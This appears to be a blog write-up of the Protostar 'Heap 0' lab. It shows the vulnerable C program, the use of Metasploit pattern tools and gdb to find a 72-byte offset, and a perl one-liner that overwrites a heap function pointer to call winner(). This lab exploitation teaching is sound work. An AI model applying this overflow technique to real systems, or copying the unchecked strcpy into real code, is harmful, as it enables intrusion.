Now that I’ve completed all of the Stack section of protostar, I’ve started to move onto Heap. The first of these challenges, is Heap 0.

We are given the following code:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
 char name[64];
};

struct fp {
 int (*fp)();
};

void winner()
{
 printf("level passed\n");
}

void nowinner()
{
 printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
 struct data *d;
 struct fp *f;

 d = malloc(sizeof(struct data));
 f = malloc(sizeof(struct fp));
 f->fp = nowinner;

 printf("data is at %p, fp is at %p\n", d, f);

 strcpy(d->name, argv[1]);

 f->fp();

}

I first needed to find the offset to where I could overwrite the EIP, so I connected to my other machine with the Metasploit Framework installed, and generated a unique string.

mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 250
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A

I then used this string as the input to the heap0 executable.

user@protostar:/opt/protostar/bin$ gdb ./heap0 --quiet
Reading symbols from /home/user/heap0...done.
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
Starting program: /home/user/heap0 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
data is at 0x804a008, fp is at 0x804a050

Program received signal SIGSEGV, Segmentation fault.
0x41346341 in ?? ()
(gdb) print winner
$1 = {void (void)} 0x8048464 <winner>

Notice that we see the EIP is 0x41346341. Additionally while I was debugging, I also got the address of the “winner” function, since I will want to redirect to that later. It was at 0x08048464.

I then connected to my Metasploit Framework enabled machine to calculate the offset.

mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x41346341
72

I then simply used perl to create an argument for the heap0 executable with 72 “A"s for spacing, and passing the address of the “winner” function in little-endian format to it. It then succeeded.

user@protostar:/opt/protostar/bin$ ./heap0 `perl -e 'print "A"x72 . "\x64\x84\x04\x08"'`
data is at 0x804a008, fp is at 0x804a050
level passed